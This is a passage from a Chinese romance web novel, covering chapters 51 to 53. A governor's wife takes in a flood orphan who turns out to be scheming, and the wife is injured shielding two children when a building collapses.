那是一个约莫十七八岁的女子,身量纤细,脸颊瘦削,眼眶红肿,一身衣裳已被水迹与泥泞染得不成样子,唯有那双眼睛,黑白分明,泛着央求的亮意。
她一头磕在地上,声音颤抖又坚定:“夫人,求您收留我吧!您是女菩萨,是好人,我听说您愿意救百姓、救穷人,我……我无家可归了,我爹娘都在这场水患中没了,也没有亲人,我一个人,连口热饭都吃不上……”
她抬起头,那张本就清秀的面容因雨水与泪水交融而更显楚楚可怜。
“我不挑吃穿,也不怕干活,愿为夫人做牛做马,只求您让我跟着。给您当奴婢也甘愿。”
姜辞怔了一下,低
头看她,目光微动。
女子又猛地一磕头,额上泥水和碎草混杂,声音更轻了几分:“我真的没别的去处了……求您成全我。”
气氛一时间凝住了,街边行人停下脚步,望着这一幕,有人低声议论,有人面露怜悯。
姜辞转头看向身侧的姬阳。
男人站在她身旁,神情淡漠,眉眼间不见半分波澜。
他只扫了那女子一眼,嗓音清冷道:“别问我,我不需要婢女,也从不用婢女。你若想留人,便你意。”
语气没有丝毫温度,仿佛这件事与他全然无关。
姜辞收回目光,再望向那女子,只见她脸上泪痕未干,却仍倔强抬起头,轻轻开口:“我吃得少,不惹事,真的很能干,求姐姐收留我吧……”
她声音虽低,却分外坚定。
姜辞望着她,目光缓缓收敛。
这女子面容水灵,眼神澄澈,说话也软软的,唤她“姐姐”时,那一声几乎挠在心头。
她沉吟片刻,开口道:“你叫什么名字?”
女子愣了一下,随即抬头答道:“回姐姐,我叫楚窈。”
姜辞轻轻“嗯”了一声:“既然如此,便先跟着罢。待我们回了丰都,再替你安排去处。”
楚窈猛然又磕头,声音发颤却分外坚决:“不,我只想跟着姐姐。往后姐姐去哪儿,我就去哪儿。只要有口饭吃,做什么都可以。”
姜辞没有立刻回应,只是微微皱了皱眉。
只是那句“去哪儿都跟着”,叫她一时无法应答。
她沉了沉气,语气柔和却不失分寸地道:“到时候再说罢。先起来吧,莫要跪着了。”
楚窈似是松了口气,眼圈红得更甚,却仍强忍住没再掉泪,起身时身形踉跄了一下,被将将回来的银霜扶了一把。
姜辞吩咐道:“正好,你带她去后院沐浴换衣,好好吃顿热饭。”
“是。”银霜点头,带着楚窈往府后而去。
楚窈随银霜穿过曲折的廊道,她神情有些怯生,却还是依然打量着府中的一切,双手紧攥着衣角,脚步略快,不小心拐过回廊转角时,身子一晃,竟一头撞进了前面一个人的怀中。
“啊——!”
她低呼一声,脚下一滑,身子朝后一歪。
就在那一瞬,一只手迅速伸出,稳稳扶住了她的手臂,将她从半空中拉了回来。
楚窈定神一看,眼前之人一袭白衣,身形挺拔,眉目清俊。
他眉头微蹙,显然被这突如其来的碰撞惊了一下。
两人此刻站得极近,楚窈方才因惊慌泛红的面颊,更显动人。
她下意识抬眸看向越白,眸光盈盈带水,轻声说道:“扰了公子,是我不对。”
声音娇软,让越白一怔。
他迅速松开手,垂眸后退半步,压下方才不经意加快的心跳,语气克制道:“……无事。”
楚窈低垂着头,像是还带着方才的羞窘与不安,在银霜示意下,她低声应了一句“多谢”,便转身跟着银霜继续往后院去了。
越白才忽然回过神来。
他眉间带着一丝不明所以的迟疑,脚步微动,本欲离开,却还是忍不住回头,望了一眼她离开的方向。
屋内灯火微明。
姜辞正倚坐在窗前看书,银霜走进来,低声问道:“小姐,那位叫楚窈的姑娘,是什么来路?”
姜辞淡淡应道:“她说家中遭了水患,无处可去。”
银霜略顿,问:“小姐要留她?”
姜辞将书阖上,道:“我身边已有你和晚娘,再多也不必。人是活的,能否处得来,还得看时日。我与她素未谋面,待回了丰都,再看看可有什么合适的地方安顿她。”
银霜笑了笑,说:“我还当小姐要将她留在身边伺候。”
姜辞轻摇了摇头:“怎么会。”
她语气平静,并无多余情绪。
屋外,门口处立着一道纤细的身影。
楚窈刚沐浴完毕,手中还握着未干的帕子,本想进门道声谢,却恰巧听见了这一番话。
她站在门侧,未动。
手中的帕子被她轻轻一捏,原本眼中如秋水一样的眸光,忽而暗了一分。
可下一瞬,似乎想到了什么,她唇角竟微微翘起,仿佛并未将这些话放在心上。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
50-60
第51章
翌日清晨,天光刚亮,府中后院便有了些人声。
楚窈一早便站在院中小道边,双手藏在袖中,眼神不时望向廊下,像是在等什么。
直到越白着一身常服自屋内走出,脚步未疾,神色如常。
楚窈眼中一亮,快步迎上前去,唤了一声:“越公子。”
越白一愣,见是楚窈,脚下略顿了顿,步子也慢了些。
楚窈垂首,从袖中取出一个香囊,递上前去,轻声道:“昨夜跟夫人借了些碎布,绣了个小玩意儿,想着……昨日多谢公子出手,权当谢礼。”
香囊并不华贵,只是两朵白色玉兰花,线迹略生涩,倒也干净素雅。
越白低头看了看她递来的香囊,面上露出些许不自在。
从军以来,从未与女子有过这种来往,更遑论收什么私物。他张了张嘴,本想推辞,却见楚窈神色诚恳,眼中带着点小心翼翼的光,便也不好拂她面子,只得低声应道:“多谢。”
香囊便收了,越白说完便快步离开,似有些逃也似的意味。
到了营帐后,他刚掀帘而入,姬阳便一眼瞥见他腰间垂着的香囊,眉梢轻挑,淡淡道:“以前怎么没见你挂这种东西?”
陆临川一听,立马凑上来打趣道:“八成是女子送的,越白这是遇上心上人了?”
越白耳尖微红,讪讪笑了一声,道:“哪有……就是今早出门,那位昨夜跟夫人一道回府的姑娘,送的。”
姬阳闻言,神色未变,语气却冷下来几分:“那你可要小心。女人一般对一个男人太主动,往往不安好心。”
陆临川咂了咂嘴,侧首看他:“怎么,夫人做了什么,让主公发这般怨言?”
姬阳斜睨他一眼,凉凉道:“我并未指她,只是想到这些年随军,假扮美姬潜进营帐的女探子还少吗?哪个不是主动投怀送抱?”
陆临川哈哈一笑:“那不是都被你砍了?越白又不是你,他有什么可图的。”
越白摇了摇头,低声道:“我看这楚窈……倒也不像有心机的样子。昨夜都督不是命我查了吗?她确是宁陵本地人,父母都在这次水患中丧了命,邻里也都认得,说她还有个姐姐,半年前失踪了,至今没下落。”
“失踪?”陆临川收了笑,神情凝了些。
越白点点头:“是听街坊说的,也没个准确说法。有人说是去了外乡,有人说是夜里被人拐了……总之,下落不明。”
姬阳手中翻着的建工图纸顿了顿,低声道:“无论是真是假,多留个心眼。”
说罢,他站起身来,将图纸负在背后,望向帐外天光,道:“城中积水已退,今日起,要动工重建了,走吧。”
午后天色正晴,郡守府门前忽有人上门。
谢归璟身着青衣,手中提着一盒朱红漆盒,随行未带仆从,神色温润,站在府门前吩咐小厮:“劳烦通传一声,就说紫川谢归璟,来拜见都督夫人。”
小厮应下,刚转身便见远处院中有人晃过,正是楚窈。小厮想着正巧,便走上前去道:“姑娘,夫人有位访客,是一位姓谢的公子,说是来拜见夫人。”
楚窈闻言一怔,眼眸微转,随即点头应下,转身往内走。
后院石亭中,姜辞坐在石凳上,身前一方小几,茶盏清淡。
楚窈快步走近,轻声道:“夫人,那位谢公子来了。”
姜辞嗯了一声,目光望着水塘那边没动,只道:“他既然来了,那就请进来吧。”
她吩咐晚娘备茶,又吩咐银霜去引路,自己依旧坐在原处,神色不急不缓。
不多时,谢归璟从廊下缓步而入,脚步不快,步履间自有一股从容。他进院,拱手一礼:“见过都
督夫人。”
姜辞看着他,唇角淡淡含笑:“你我相识多年,又无旁人,不必这般拘礼,坐吧。”
谢归璟落座,将手中漆盒搁于案上,轻轻揭开盒盖:“这是紫川的小吃,原本昨日给你,只是你离开得急。今日特意再送来,不算晚吧?”
姜辞眼中果然泛出一丝亮意,随手从盒中取了一块,看着模样似是糯米包馅,尚带着清香。她未多言,直接放入口中,一边咀嚼,一边点头:“还是这个味。”
晚娘斟了一盏茶递过去,谢归璟接过来,朝她一笑:“许久不见,晚娘还是这般精神。”
晚娘笑着回道:“璟公子还是那么会说话。”
两人话音刚落,院中一角的楚窈站在廊后,眼神落在谢归璟身上,没言语,只静静看着。
银霜不着痕迹地走过去,低声对她道:“楚窈,你去厨房取些水果来。”
楚窈被唤回神,轻应一声,转身离去。不一会儿,她便端着一盘切好的果子回来,摆在桌角。
谢归璟看见她,眉眼动了动,问道:“阿辞,这是你的新婢女?”
姜辞轻轻抿了一口茶,放下茶盏,用帕子掩了掩唇角:“并不是。只是她无家可归,我一时见她无人所依,让她暂留在府中。”
谢归璟点点头:“我就说嘛,你向来不爱热闹,也不喜太多人伺候。”
姜辞笑而不语,顺势将话题一转:“你今日可是要去建工那边?”
“嗯。”谢归璟答道,“带了几个勘测匠人,今儿去先走一遭,看看地势,也好分派人手。”
姜辞听了,点了点头。两人皆无话。她低头抿了一口茶,谢归璟看着她,手指在膝上轻轻摩挲。
往日里总有说不完的事,如今重逢,却反觉话少。
谢归璟也是看出了她的刻意疏离,终是起了身:“时候也差不多了,不打扰你歇息,我去前头看看地形。”
姜辞也随之起身:“好。”她语气温和,神色恬淡。
两人一同走到院门前,谢归璟行出几步,又像忍不住似的,回身看了一眼姜辞的背影。
他眉头微紧,终究只是轻轻叹了一口气,默默离去。
这时院后角落,楚窈立在树下,小声问银霜:“这个……谢公子是谁?”
银霜瞥她一眼,道:“夫人旧时故友,从紫川来的,如今是奉凉州刺史之命,协助东阳军重建屋舍。”
楚窈轻轻点头,眼神沉了沉,若有所思的哦了一声。
傍晚时分,天边浮着淡淡的霞光。
姜辞吩咐晚娘将厨房里做好的几样热菜装入食盒,又细细检查了一遍盖合是否紧实。随后,她带上银霜与楚窈,三人一道朝着建工的方向走去。
楚窈走在姜辞一侧,眸光带着几分仰慕与天真,小声说道:“夫人和都督感情真好呢。”
姜辞微笑了一下,语气温和,并未多说。
楚窈又凑近一步,眨了眨眼睛道:“希望我日后,也能像大姐姐一样,嫁一个像都督那样好的男子。”
姜辞正欲开口,银霜却先冷不丁地撇了撇嘴,语气不轻不重:“确实是个好男子,小心一言不合拔了剑要你命。”
楚窈被她说得一愣,回头问道:“银霜姐姐,这是什么意思?”
姜辞轻轻一笑,开口替她缓解气氛:“她的意思是,都督脾气太凶了。”
楚窈“哦”了一声。
不多时,三人抵达建工之处。
姜辞脚步一顿,远远便看见谢归璟正带着几名勘测师傅在现场测量沟渠地势,旁边的纸卷图册摊在临时支起的木案上。姬阳站在一旁,眉目专注,正低头听他说话。
她站定片刻,没有出声打扰,只静静望着。
姬阳本就不擅工务之事,但那一刻,他没有插言,也不显躁,神情一贯沉静,时不时点头,神色分明是用心在听。
姜辞心中微动,想到:他不会样样都懂,却肯耐心聆听,已是胜过许多自负的男子。
这时,姬阳恰好转头,目光在人群中一扫,正好落在她身上。
谢归璟察觉他停顿,也随之转身,同样望见不远处站着的姜辞。
三人走近。
姜辞开口道:“你们辛苦了。建工的事情,我帮不上什么忙,只能叫晚娘多准备了些卤肉,让你们吃得好一些。”
她说着,回头吩咐楚窈与银霜将食盒打开,将一道道菜肴取出,整整齐齐摆放在工地一角搭起的木台上。
香气溢出,有东阳军闻到味道,偷偷咽了咽口水。
姬阳转头,对众人道:“先歇息。”
他自己未立刻坐下,而是走回一旁,拿起搭在木架上的披风,回来将披风铺在凳上,然后才回头道:“坐。”
姜辞没推辞,在他让出的座位上坐下。
姬阳取了筷子,看她还未动筷,便开口问她:“你怎么不吃?”
话音刚落,谢归璟忽而笑着插话:“阿辞不喜姜味,自小就不吃用姜煮过的食物。”
姬阳手一顿,眼神轻不可察地沉了一下。
姜辞点点头,语气如常:“是的,我不喜欢吃姜。”
谢归璟又继续道:“小时候,她着了凉,晚娘熬姜汤给她,她全偷偷倒了。最后烧得更厉害……”
他话未说完,姬阳抬眼看他,语气依旧沉稳,但话语里多了分打断的冷意:
“谢公子对我夫人的事,倒是记得清楚。”
气氛顿时微滞。
谢归璟看了姜辞一眼,轻笑着未再多言。
姜辞却仿若未察,低头拨了一块肉夹给姬阳,道:“这个卤牛肉是晚娘新炖的,用的是宁陵的食方,你试试看。”
姬阳接过,没有说话,只低头吃了两口。
周围是杂乱的锄土声、水声,远处还有东阳军支帐篷、卸材料的声音。落日沉沉,将几人影子拉得老长。风吹过堆好的木料,空气中掺着一丝烟火气。
银霜站在一旁,目光在工地扫视一圈,像是在寻人。
楚窈却默默的低下头,在谢归璟与姬阳之间来回扫了几眼。
姜辞忽地想起一事,回头吩咐道:“我在长兴小馆订了些烤鹿肉,此时应当已备好,你们去取来,分给众人。”
二人闻言,领命而去。
工地一侧,一处残破的民屋尚未清理干净,半截屋檐斜斜倾着,木梁裸露,瓦片摇摇欲坠。此地本已被勒令封起,但孩子贪玩,总有顾不得规矩的时候。
两个七八岁模样的小儿不知从哪儿钻了进来,一前一后追逐打闹,笑声穿透风尘,在堆木石之间穿梭。他们跑着跑着,不知不觉已跑到那危楼之下。
姜辞正好抬眼,一眼便瞧见了那一角。
她神色猛变,脱口而出大喊:“快出来!快从那边出来——别进去!”
可距离有些远,工地上又嘈杂,孩子们压根没听清。
姬阳此时也转头看向身后,察觉到不对,目光一转,也看见了那两个孩子正跑入屋檐下的身影。
他眉头蹙起,正要起身过去。
却不料姜辞已经先奔了过去。
她裙角掠起,顾不得泥地湿滑,几步之间便冲至那倾斜的屋檐下。她蹲下身,试图将两个孩子拉出来:“别玩了,快出来,这屋子要塌了!”
可那两个孩子玩得正起劲,哪听得进话。其中一个男孩甚至还朝里多走了几步,指着上头瓦片笑:“姐姐,这里像船!”
姜辞面色一沉,猛地伸手去拉。
谁知那孩子猛地一躲,脚尖正好踢中一块本就松动的支撑木桩。
只听“咯吱”一声脆响——
时间仿佛顿住。
屋檐上方,那斜撑的木梁喀啦一声断裂,带着整面摇晃的瓦片轰然塌下,卷起尘灰如雾。
姜辞几乎是在瞬息之间做出反应,毫不犹豫地张开双臂,一手一个将两个孩子揽入怀中,猛地低头护住他们。她身子弯得极低,将两个瘦小的身影牢牢压在身下。
那一瞬间,乱瓦崩塌,梁木飞落。
而姬阳已奔至跟前,眼见那残屋顷刻垮塌,尘烟扑面而来,他骤然停下,面色骇然,喉头一紧,几乎是嘶喊般吐出她的名字——
“姜辞!”
第52
章第52章 “嗯……是在挂怀一个很……
姬阳从未有过这样的慌乱。
他冲到那片瓦砾前时,整个人几乎是懵的,眼前只余灰尘飞扬,木梁横陈,那一瞬间脑海中只有一个名字,不停回响,敲击着他的心口
“来人!”他低吼一声,声音沙哑如磨刀,姬阳猛地跪下,顾不得手上的尘土与碎瓦,徒手开始扒着眼前的砖石。“东阳军——过来帮忙!快!!”
声音落地,四周一阵骚动。
谢归璟也已奔了过来,神情一变,立即抓起一旁弃下的铁锹,加入清理。
“都督夫人还在里头——快!”有人喊了一句。
姬阳手中动作越发急促,指腹早被砖石刮破,血水在尘土中迅速晕开,他却毫无所觉,甚至没有停顿一瞬。额角的汗滴落进眼中,他也只是抬臂抹了一把,目光死死盯着那堆塌下的废墟。
“姜辞……”他低声念着,像是在自语,又像是在祈求,“你不能有事……听见了吗?”
一铲又一铲,众人合力清出一条缝隙,终于——
“找到了!”有人惊呼。
那片断瓦下,一抹熟悉的衣角暴露在外,随即是蜷缩着的身影。
她伏在地上,身下护着两个孩子,血从额角淌下,发丝粘在脸上,脸色苍白,几近昏迷。
“姜辞!”姬阳几乎是扑过去的,将她从断瓦中捞起,紧紧抱在怀中,那一瞬间,他的手在颤,连呼吸都乱了。
姜辞睫毛微颤,气息极弱,却还吊着一口气。
“……都督,”她勉强睁开眼,唇角隐隐泛出血色,“疼……”
声音轻如蚊蚋,却猛猛敲在姬阳心头。
他立刻将她打横抱了起来,动作急切却克制,生怕碰到她的伤处,低声道:“别说话,我带你回去。”
谢归璟在一旁神情复杂,伸出的手停在半空。
姬阳一路疾行,将她送回郡守府,把她轻轻放到床上。她的额头破了,伤口狰狞,一侧鬓发已经被血染红。
她撑着睁开眼,虚弱地伸出手指着他,说道:“我现在……能看到两个你……”
话音落地,她脑袋一偏,彻底昏了过去。
“快去请大夫!”姬阳厉声吩咐。
片刻后,大夫赶来,脉象一搭,脸色也沉了几分:“是被砸伤头部,震荡厉害,需静养数日,幸而命不碍。”
谢归璟赶来,身形略显孤单的杵在门口,伸手两次,都不知道该不该敲门。
屋内传来断续的脚步声与嘈杂声,大夫进进出出。
他终是忍不住,几步走上前去,刚要推门——
“璟公子。”晚娘拦住了他,声音不高,语气却很笃定,“姑娘伤势未稳,都督不许旁人出入。”
谢归璟止住了脚步,眸色动了动:“我只是想看她一眼。”
“她会好起来的。”晚娘轻声说,“但今夜,您还是别进去了。”
谢归璟没有再坚持。他低头看了眼自己拿来的药,半晌,将它又收回袖中,笑着跟晚娘说:“那我改日等她康复再来看她。”
谢归璟离去,晚娘看着他有些泄了气的身影,无奈地摇了摇头,轻叹一口气。
屋内大夫替姜辞擦伤口,包扎,待大夫离开后,姬阳坐在床边,久久不动。
姜辞昏睡了许久,直到夜里灯芯燃成豆黄,她才缓缓醒来。
一睁眼,视线晃了晃,她本能抬手按住额头,疼得她倒吸一口气。
她撑着坐起身,刚一动,就看见床榻边伏着一个身影。
是姬阳。
他趴在那里,姿势维持已久,神色疲倦,掌心下压着的床榻,姜辞看见那被砖石刮破的手指,血痕斑斑,尚未处理,愣了一瞬。
看着他熟睡也不曾抚平的眉间,心正经难免心疼,这些日子他为宁陵奔波太久,以至于都未好好休息,没想到在床前,睡的竟然这么沉。
姜辞蹑手蹑脚地下了床。这时她的背部疼得厉害,动作缓慢,却仍坚持走到柜前,取了一瓶伤药,又找出帕子。
她重新坐回床沿,轻轻抬起姬阳的手,一点点替他清理那几处伤口。
他手掌骨节分明,掌心有厚茧,手指伤口处的血已经干涸,原来他一直守在这里。
她轻轻吹了一口气,才敢下手。
“……还疼吗?”她低声问了一句,又像是自言自语。
忽然,那双闭着的眼睛睁开了。
姬阳瞬间清醒,看见她第一反应就是握住她的手:“你怎么样?头还疼吗?”
姜辞愣住,帕子还握在手中,另只手被他反握着。
“我没事。”她轻轻摇头,“我只是起来给你上药。”
话音落下,姬阳看见她手边放着的,是那瓶熟悉的药膏。正是那日他悄悄送来给她的。
姬阳迅速回神,眼眸深沉,死死盯着她,语气压得极低,却藏不住那一丝颤意:“姜辞,你受伤了。”
“你也是。”她握着他的手,“怎么这么久还没处理。”
姬阳沉声问道:“下一次,这种事,能不能不要自己冲上去?你叫我,或者叫我手下人去,你为何每次都这样,把自己的生命置之度外?”
姜辞看着他眼中的疲惫和怒意,心里忽然软了一下。
她低声问道:“都督是在担心我的生死?”
姬阳眉心一跳,似是想反驳,又似不知该如何解释。
半晌,他哑声道:“……我答应过大哥,不让你受伤。”
姜辞听姬阳拿大哥当借口,笑了一下,没接这话,只是执起他另一只手:“别说了,我给你上药。”
她仔细替他清理伤口,动作轻得不能再轻。她的睫毛垂着,她吹着那伤口,温热的气息落在他掌心。
姬阳看着她,喉结轻轻动了动。
那种异样的感觉再次涌上来,似燥似痒,让他心乱。
他忽然抽回了手,站起身,道:“我没事了,这药……让大夫上。”
姜辞抬头看他,却见他已绕过屏风。
他背对着她,嗓音仍低沉平稳:“你醒了就好。这几日别出门。”
话落,他步伐匆匆,推门而去。
姬阳走后,屋内一时静得出奇,烛火在夜风中微微晃动,投下一层轻晃的暖影。
门帘被轻轻掀起,晚娘率先走了进来,银霜紧随其后。
晚娘一步未到榻前,眼眶便已红了,唇角发抖,声音哽住:“姑娘,你可算是吓死我了。”
晚娘站在床边,看着姜辞额上的伤,眼底满是惊惧未散的余波,一双手轻轻捏着帕子,似是还不敢相信她如今能安然坐在床上。
银霜则难得没有言语调笑,站在一旁,低着头沉了片刻,才开口道:“这次……这次真不是我替都督说话。”
她抬起眼,语气带着几分压不下去的倔意,“小姐,你能不能……先在乎一下自己的性命?你若是有个三长两短,我可不想哪天回紫川,被老爷叫去给您陪葬。”
屋里又静了一瞬,只余帘外远远的风声。
姜辞看着她们,心中一阵发涩,低声道:“对不起。”
那一瞬,命悬瓦下,她并未想太多,只想着那两个孩子,可她没想过她若真出了事,留下来的,会有多少人伤心担惊。
晚娘低头拭了拭眼,挤出一丝笑意:“姑娘,没事就好……日后可万不能再吓人了。”
姜辞望着她们,轻声道:“以后……我尽量不吓你们了。”
次日清晨,天光微熹。
楚窈手中捧着药方,独自出门替姜辞抓药。她走到南街时,刚拐过一个巷子口,耳边忽然传来一声低哑的唤声:“楚窈?”
她脚步一顿,猛然回头,眼中闪过一抹惊色:“管三?你怎么在这?”
说话的是个二十出头的男子,身形瘦削,面带痞气,一张嘴还叼着根干草,眼神游滑。一见她转身,便咧嘴一笑,把嘴上的草茎吐在地上。
楚窈下意识四下张望,见街上人流尚稀,无人注意,她蹙了蹙眉,快步走过去,拉着管三的袖子将他往巷子深处扯去:“你别在这儿喊。”
管三没动,反而不急不慢地打量她一番:“啧,现在过得不错啊。穿得比原来强多了,还能给都督夫人当婢女,出息了,楚窈。”
楚窈压低声音,语气发紧:“你到底想干什么?”
管三掏了掏耳朵,嘿嘿一笑,话锋一转:“就是有点好奇……他们知不知道,你爹你娘,是你眼睁睁看着淹死的?那时候你可是推了一把,我可什么都看见了,还有你姐姐的……。”
楚窈脸色骤变,呼吸一滞,声音陡然发冷:“你闭嘴。”
管三却像是踩到了她的痛脚,乐得更甚:“怎么?我说错了吗?现在倒装起了苦命孤女。可怜呐,也真会演。”
楚窈盯着他,目光一寸寸沉下去:“你到底想怎样?”
管三也不绕弯子,咧嘴道:“昨天在街口看见你跟在都督夫人身边,穿得人模狗样的,我还以为认错人了。既然真是你,那这样,给我五十两银子,这事我就当没看见,如何?”
楚窈眼神一凛:“我上哪儿给你五十两?你别太过分了。”
“啧啧,”管三叹气摇头,“楚窈,楚窈,你变了啊。这会儿不是挺会装可怜的?要是让都督和他夫人知道你那点事……你觉得你还留得住?”
楚窈猛地打断他:“行了,我知道了。但我现在确实拿不出这么多钱,你得给我时间。”
管三笑了,往后退了半步,伸了个懒腰:“三天。三日后酉时,城外观音庙。你要是敢不来,那我也顾不得什么交情了。”
楚窈咬了咬牙,点头:“好,三日。”
管三“嘿”地一笑,哼着不成调的小曲儿,迈着吊儿郎当的步伐走出巷口,像只闲散的野鸭子,一下子没了踪影。
楚窈站在原地,手指一点点捏成拳头,眼神幽暗。
楚窈抱着一纸药方回到郡守府,才踏进院门,便见院中石亭下,姜辞正倚着软垫坐着,身前摆着一碗尚未动过的药汤,而姬阳则端起碗,坐在她一旁,神色微郁。
他语气略带无奈:“晚娘早不出门,晚不出门,偏偏这个时候出门。”
说着,舀了一勺药,举至她唇边,却又像是不太习惯这等伺候人的事,手势略僵。姜辞见状,眉眼微弯,轻声道:“都督,还是我自己来吧。”
她伸手接过那碗药,神色温和:“你去建工那边吧,别耽误了。”
姬阳望了她一眼,终是将碗递过去,语气平静却不容置疑:“药喝完。这几日好好休息,你千万别出门了。”
说罢,他起身离去。
楚窈立在廊边,将这一幕尽收眼底。她眼底划过一丝情绪,旋即压下,换上一副乖巧模样,慢慢走近。
姜辞看见她,朝她招了招手:“过来坐。”
楚窈依言坐下,姜辞看了她一眼,问道:“你都会些什么?可识字?”
楚窈摇头,低声道:“我不认得字。家里一直穷,父母也不识字,自小也没人教过我。”
姜辞点了点头,将碗中最后一口药仰头喝下,皱了皱眉,放回桌上。她顺手拿起一本书卷,翻了两页,忽而轻声说道:“那我教你识字如何?”
楚窈抬头,眼中闪过一抹惊讶。
姜辞笑了笑,道:“女子还是要识字的。多认些字,就多一个选择。就算做丫鬟也能干些轻省活儿,若是去铺子里做事,也不至于叫人在契书上诓了你。”
楚窈看着姜辞,那张面容清净端雅,眼角眉梢带着天然的从容。她盯得久了,竟有些出神。
姜辞察觉,抬手在她眼前晃了晃,笑问:“你看什么?”
楚窈轻轻一颤,连忙回神,眨了眨眼,说道:“大姐姐……你真美。我从没见过这么美丽的女子,有才情,还有一个好的出身和夫婿,我……真羡慕你。”
姜辞怔了一下,神色微讶。
楚窈却像是怕自己说错了什么,忙又转开话题,笑道:“大姐姐愿意教我识字,我就愿意学!”
姜辞看着她,缓缓点头:“那我每日抽些空教你一课。你若用心,自不会教你白学。”
楚窈高兴的点点头,她目光不自觉瞄到了姜辞发间一个素簪,簪子附近还有一朵小白花,楚窈主动问起,这朵小白花是为了祭奠谁吗?
姜辞忽然想起了姬栩,心中一涩,不知为何,方才喝下的药,此刻竟觉格外苦。她静了片刻,淡淡应了一声:“嗯……是在挂怀一个很好的人。”
楚窈也不再询问,而是跟着姜辞念着书上的字-
夜风带着些微凉意,窗外的虫鸣断断续续,像是有人低声细语。
姜辞在床上辗转了许久,终究还是没睡着。她披了件外衫,推门而出,穿过长廊,想去院中走走。
月光静静洒落在地,照亮了小径,院子寂静得很,只有风吹过竹叶时,发出窸窸窣窣的轻响。
她刚拐过回廊,便瞧见前方廊下,有人坐着。
是姬阳。
他只着中衣,外袍搁在一旁未披,身子略往后,双肘撑在台阶上,目光落在院中一角,似在出神。
月光落下,将他整个人笼在清寒之中。衣襟敞开,露出一段肩颈与胸膛,线条分明,冷白肌理在夜色下泛着淡淡光。
他未察觉有人,像是在发呆。
姜辞本想悄悄转身,却就在她微一侧头时,姬阳忽而回首,两人四目相对。
那一瞬间,风仿佛也停了。
第53章
姬阳似是怔了一下,随即坐正了些,伸手将衣襟往里掖了掖,顺便将手里握着的那个虎头护符收好,眼神在她脸上顿了顿,才低声道:
“还没睡?”
姜辞垂下眼:“嗯,有些睡不着。”
他“哦”了一声,没有起身,也没有再多问,只抬了抬下颌,指向旁边石阶:“夜里凉,要坐就在这边,别沾了寒气。”
姜辞没有立刻答话,许久,才慢慢走上前,在他不远处坐下,才发现他刚好帮她挡住风口。
一时无言。
夜风拂过檐下灯笼,轻轻晃了晃,映在地上,两个影子微微交叠。
姜辞忽地轻轻打了个喷嚏,忙抬手拢了拢袖子,手指已经冰凉。
姬阳侧目看她一眼,眉头不自觉蹙起,将放在身侧的外衣拿起,递到她面前。
姜辞原本想拒绝,却在指尖与他相触及的一瞬,忽然顿住。
两人就这样静静地对望着,谁也没将手收回,空气仿佛一下子安静下来,院外偶尔传来的几声虫鸣,打破了夜的沉寂。
最终,是姜辞轻轻将外衣接过,披在肩上。
衣料尚存着些许暖意,隐隐裹着一丝淡淡的木香,像是山林初雨后的气息。
她从未在他身上闻过这样的味道。她的鼻尖轻轻动了动,那股香意便更清晰了。
她没说什么,只是悄悄朝他身边挪了一点。
两人之间的距离,拉近了些,姬阳并未察觉。
姜辞偏头看着他,眼神落在他半敞的衣襟边。夜色下,他的侧颜轮廓被月光勾勒得深而冷峻,唇线紧抿,眼神却透着一种极深的安静。
她忽然想起那日他不顾一切冲进废墟,把她抱在怀中时的场景——那一瞬,他的心跳紧贴着她的耳边,急促而沉烈,像鼓,像雷,听的真真切切。
“都督,”她轻声唤他。
姬阳应了一声,侧头望来。
姜辞抬手,指着天上某颗明亮的星子,唇角带着浅笑:“你看那一颗。”
“看到了。”姬阳顺着她指的方向望去。
“在紫川的时候,我常看它。如今到了宁陵,夜里抬头,还是能看到它。”姜辞望着星光,眸中透出几分清浅的温柔,“此时此刻,一同仰望它的人,算不算是……在彼此身边?”
话音刚落
,姜辞小心翼翼地往姬阳身侧挪了一点距离,身侧的那人并未发觉。
姬阳闻言,眸光轻轻一动。
他静了片刻,忽然低声道:“我娘曾告诉我,每个人死后,都会化作一颗星星,挂在天上。当你想念他们的时候,只要抬头看看,他们就会陪在你身边,在黑夜里为你指路。”
姜辞转过头看他,声音很轻,却透着说不清的认真:“那是因为他们舍不得让你一个人。”
这一句,落入他耳中,如夜风穿林,缓慢却撼心。
姬阳神色微动,目光悄然落在她脸上,随后他收起目光,静静望着夜空。
他已经许久没有这样的时刻了,耳边无喧嚣,无兵甲,只是身边坐着一个人,安静得仿佛时间都慢了下来。
不知过了多久,肩头忽然一沉。
他微微偏头,视线落下时,竟看见姜辞已经倚着自己睡着了。
她的头枕在他的肩上,呼吸绵长,鬓发贴着他的颈侧,轻轻扫过皮肤,一下一下,像风拂过水面,无声无息,却让他的心泛起层层涟漪。
她睡得并不深,眉间仍微蹙着,像是未从前日的惊痛中全然缓过来。姬阳目光落在她脸上,一瞬竟不敢动。
月色透过檐角洒落,落在她颊侧的光影清浅柔和,他一手缓缓抬起,动作极轻,将披在她肩上的外衣往上拢了拢,掩住她的肩颈。
只是指尖在触到她发丝的刹那,他只觉心头涌上一种难以言说的柔软。
翌日清晨,窗外阳光柔和洒入帘中,透过纱帐落在床榻一角。
姜辞醒来,她先是怔了怔,随即猛地坐起身来,眉头微蹙,像是忽然忆起了什么。
帐外传来脚步声,晚娘掀帘而入,手中托着一碗热气袅袅的药,脸上带着温柔的笑意。
“姑娘,醒了?昨夜是都督将您抱回来的,可小心了,连脚步都不敢太重,生怕吵醒您。”
姜辞一怔,昨夜那一幕才在脑海中缓缓浮现出来。
她靠着他肩头睡着,他一动不动地任由她倚着。
她分明记得自己想说“我回去了”,却似乎还未说出口,就被困意拽入了沉沉的梦。
她轻轻“嗯”了一声,坐直身子接过药碗。药尚温热,她一口一口慢慢喝下,唇角微苦,神色却有些出神。
直到目光落在床榻一侧,她才回过神来。
那是一件外衣,被叠得整整齐齐,静静放在床边。是姬阳的。
姜辞怔了一瞬,将手中空碗递给晚娘,低头取起那件外衣。
这外套用的不是上等料子,颜色已旧,下摆和袖口处隐约有些磨损,有些线头还翘着,缝处略显松散,看得出来已陪着他许多年。
她伸手轻轻抚过衣角,不由轻叹了一声。
他本就不太在意这些琐事,一个人从军多年,衣服再旧,只要还能挡风遮雨,也就继续穿着了。况且,姬夫人性格洒脱不拘小节,对两个儿子的这些琐事也不太在意。
姜辞看着那一针一线略显粗糙的缝口,忽而生出一点念头。
午后,阳光正好。
姜辞换了衣裳,带着银霜前往宁陵郡中最大的布庄,细细挑着布匹。
她走到一匹灰蓝色棉绒前,伸手捏了捏,又去触另一匹藏青色的布,眸光仔细斟酌,神色带着几分专注。
